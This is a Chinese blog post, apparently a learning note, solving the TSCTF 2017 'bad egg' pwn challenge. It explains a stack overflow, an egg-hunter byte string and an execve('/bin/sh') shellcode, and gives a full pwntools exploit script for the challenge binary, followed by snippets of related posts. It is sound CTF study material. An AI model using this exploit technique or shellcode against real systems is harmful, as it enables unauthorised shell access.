pwn学习之一

  刚刚开始学习pwn,记录一下自己学习的过程。

  今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell。

  首先拿到题目用ida去查看:

  题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的这块地址的首地址输出出来,接着又会在堆中申请一个256大小的空间(这里会是后面用来存放shellcode的位置),接着执行sub_9AB()函数。

  进入sub_9AB()函数:

  这个函数逻辑是先申请了int buf,int v2,char haystack[4],这些申请的空间是存在在栈中的,首先要你输入treat or trick?,只有输入treat才会继续执行下面的代码,接着程序会把申请的haystack所在的栈地址告诉你,接下来输入name到haystack,这里read给的max位32位,而haystack只申请的4个字节的空间,所以在这里存在栈溢出,接着是往之前堆中申请的256大小的地址写入数据,然后程序结束。

  为了防止直接在栈上写shellcode本题的栈上可写空间只有20个字节(执行函数先push了参数这里无,然后返回地址4字节,再是ebp4字节,ebx4字节,再第一个int4字节,第二个int4字节再是haystack所以haystack和返回地址之间大小为20个字节),而且对输入进行了"sh"过滤,同时为了防止构造ROP链,题目开了pie保护,即代码段随机化。

  那么解题思路为:将egg_hunter代码写入栈溢出位置,并将返回地址覆盖为造成栈溢出变量的起始地址,然后将egg_hunter的tag以及shellcode写入堆中,程序运行顺序为先写入栈中,再写入堆中,然后到返回地址为栈溢出的起始地址,所以执行egg_hunter程序,到堆中指定地址去找tag,找到了tag后执行随后的shellcode代码拿到shell。

  egg hunter汇编原理:

  其实就是从eax的地址开始一直往下找直到找到内容和ebx的内容相同的地址,然后跳到该地址去执行。

  egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"。chunk_addr是最前面告诉我们的堆的地址。

  shellcode汇编代码:

  

  意思是通过int80中断,调用号为11,即sys_execve()函数,参数是ebx这里为/bin/sh,即执行了sys_execve(‘/bin/sh‘)。

  shellcode=‘\x90\x50\x90\x50‘+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90‘

  前面要加上tag这里是“\x90\x50\x90\x50”。

  exp:

 1 from pwn import *
 2 #init
 3 debug = 0
 4 if debug:
 5     io = process(‘./egg‘)
 6 else:
 7     io = remote(‘127.0.0.1‘,2334)
 8
 9 context.log_level = ‘debug‘
10
11 if debug:
12     gdb.attach(pidof(‘egg‘)[-1],open(‘zp‘))
13 #----------------------------------------------------------------
14
15 shellcode = ‘\x90\x50\x90\x50‘+"\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x90\x90"
16 print io.recvuntil(‘seat is ‘)
17 chunk_addr=int(io.recvuntil(‘\n‘),16)
18 print hex(chunk_addr)
19 print io.recvuntil(‘trick? ‘)
20 io.sendline(‘treat‘)
21 print io.recvuntil(‘located in ‘)
22 stack_addr=int(io.recvuntil(‘\n‘),16)
23 print hex(stack_addr)
24 io.recvuntil(‘name?\n‘)
25 egg_hunter="\xb8" + p32(chunk_addr) + "\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01"
26 payload = egg_hunter + ‘A‘*(20-len(egg_hunter)) + p32(stack_addr)
27 io.sendline(payload)
28 io.recvuntil(‘here.\n‘)
29 io.sendline(shellcode)
30 io.interactive()

pwn题目可用:socat tcp4-listen:2334,fork exec:./egg挂载,然后通过nc ip 2334去访问

bad egg下载地址:http://files.cnblogs.com/files/lllkh/badegg.rar

时间: 2024-10-05 04:58:37

pwn学习之一的相关文章

pwn学习之二

刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell. 打开ida查看: 程序逻辑就是执行getname()函数. 进入getname()函数:

PWN学习001

简介: PWN是CTF中的一种题目,利用溢出等等攻击手段达到入侵设备的一个简称,不必深究它到底是什么意思,学完下面这个网站上的几道题目,自然就懂了. 练习网站: http://pwnable.kr/play.php 打开网站第一题(fd). 看到有一个ssh [email protected] -p 2222 密码是:guest,我们先连接过去. 查看一下目录有什么内容,如下图,看到有三个文件,fd , fd.c , flag. 由权限可知道,我们不能读取flag文件,题目思路尝试执行fd,查看

PWN学习003 bof

先看程序 下载相应代码和程序. 查看源码. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key) { char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe) { system("/bin/sh&qu

pwn基础学习日志(六)

动态链接 程序中使用一些动态链接库里的函数,是在需要执行的时候再加载进内存(且只能加载进入数据段),进行地址解析(逻辑地址-->物理地址),这里就需要依托plt表和got表. plt表:汇编后的调用指令  call [email protected],而plt表中存放jmp [xxx_got] got表:存放函数的真实地址,但初次加载后才是,未加载前.(注:got表项前三项不存放地址) 原文地址:https://www.cnblogs.com/glodears/p/12549389.html

【PWN】[email&#160;protected] exploit

利用典型的format string 漏洞实现内存泄露与内存覆写从而修改key实现直接通过,当然也可以覆写got表的内容改变程序执行流,这两个的缺点就是覆写的时候那个巨大的字符串确实需要很长时间才能输出完实现覆盖,看了国外的writeup里面提到了在内存中搜索key的地址,至少在时间上不会这么长,而且也是另一种截然不同的思路了.. 这一题确实学习到了不少,比如$n的使用,esp ebp的高级利用,对fsb有了一个更深的理解,顺便膜拜了一下CMU的PPP战队,为以后提供了不少经验吧-都在脚本里了-

CTF常用python库PwnTools的使用学习

之前主要是使用zio库,对pwntools的了解仅限于DynELF,以为zio就可以取代pwntools.后来发现pwntools有很多的高级用法都不曾听说过,这次学习一下用法,希望可以在以后的exp编写中能提供效率. PwnTools的官网如下:http://pwntools.com/ 安装方法是使用pip命令,pip install pwn.这样就可以安装上pwn库了.使用时用from pwn import *来进行调用.下面给出了PwnTools中的主要IO函数.这个比较容易跟zio搞混,

Linux pwn入门教程(0)——环境配置

作者:[email protected] 0×00前言 作为一个毕业一年多的辣鸡CTF选手,一直苦于pwn题目的入门难,入了门更难的问题.本来网上关于pwn的资料就比较零散,而且经常会碰到师傅们堪比解题过程略的writeup和没有注释,存在大量硬编码偏移的脚本,还有练习题目难找,调试环境难搭建,GDB没有IDA好操作等等问题.作为一个老萌新(雾),决定依据Atum师傅在i春秋上的pwn入门课程中的技术分类,结合近几年赛事中出现的一些题目和文章整理出一份自己心目中相对完整的Linux pwn教程.

Linux pwn入门教程——格式化字符串漏洞

本文作者:[email protected] 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 然而,有时候为了省事也会写成 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作. 0×01 利用格

linux kernel pwn notes(内核漏洞利用总结)

前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了标注,如有遗漏,请提醒. 环境搭建 对于 ctf 中的 pwn 一般都是给一个 linux 内核文件 和一个 busybox 文件系统,然后用 qemu 启动起来.而且我觉得用 qemu 调试时 gdb 的反应比较快,也没有一些奇奇怪怪的问题.所以推荐用 qemu 来调,如果是真实漏洞那 vmwar